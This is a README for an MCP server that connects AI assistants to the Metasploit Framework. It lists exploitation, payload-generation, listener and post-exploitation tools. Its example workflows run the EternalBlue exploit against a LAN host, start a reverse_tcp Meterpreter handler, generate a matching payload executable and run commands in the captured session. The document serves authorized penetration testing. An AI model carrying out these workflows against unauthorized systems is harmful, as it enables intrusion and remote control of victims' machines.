Metasploit MCP Server

A Model Context Protocol (MCP) server for Metasploit Framework integration.

Description

This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.

Features

Payload Generation and Execution

• generate_payload: Generate payload files using Metasploit RPC (saves files locally)
• execute_local_program: Execute a locally saved program (e.g., generated payloads)

Exploitation Workflow

• list_exploits: Search and list available Metasploit exploit modules
• list_payloads: Search and list available Metasploit payload modules
• run_exploit: Configure and execute an exploit against a target
• list_active_sessions: Show current Metasploit sessions
• send_session_command: Run a command in an active session

Post-Exploitation Tools

• get_system_info: Retrieve system information from a Meterpreter session
• get_user_id: Get the current user context of a session
• list_processes: List running processes on the target system
• migrate_process: Move a Meterpreter session to another process
• filesystem_list: List files in a directory on the target system

Listener Management

• list_listeners: Show all active handlers and background jobs
• start_listener: Create a new multi/handler to receive connections
• stop_job: Terminate any running job or handler

Auxiliary Module Support

• run_auxiliary_module: Run any Metasploit auxiliary module with options

Prerequisites

• Metasploit Framework installed and msfrpcd running
• Python 3.10 or higher
• Required Python packages (see requirements.txt)

Installation

1. Clone this repository
2. Install dependencies:

   pip install -r requirements.txt
   

3. Configure environment variables (optional):

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
   

Usage

Start the Metasploit RPC service:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

For Claude Desktop integration, configure claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Security Considerations

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

• Always validate and review all commands before execution
• Only run in segregated test environments or with proper authorization
• Be aware that post-exploitation commands can result in significant system modifications

Example Workflows

Basic Exploitation

1. List available exploits: list_exploits("ms17_010")
2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", "192.168.1.100", 445)
3. List sessions: list_active_sessions()
4. Run commands: send_session_command(1, "whoami")

Post-Exploitation

1. Get system information: get_system_info(1)
2. List running processes: list_processes(1)
3. Migrate to a more stable process: migrate_process(1, 1234)
4. Browse the filesystem: filesystem_list(1, "C:\\Users")

Handler Management

1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. List active handlers: list_listeners()
3. Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. Stop a handler: stop_job(1)

Configuration Options

Payload Save Directory

By default, payloads generated with generate_payload are saved to a payloads directory in your home folder (~/payloads or C:\Users\YourUsername\payloads). You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.

Setting the environment variable:

• Windows (PowerShell):

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows (Command Prompt):

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS:

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• In Claude Desktop config:

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
  }
  

Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.
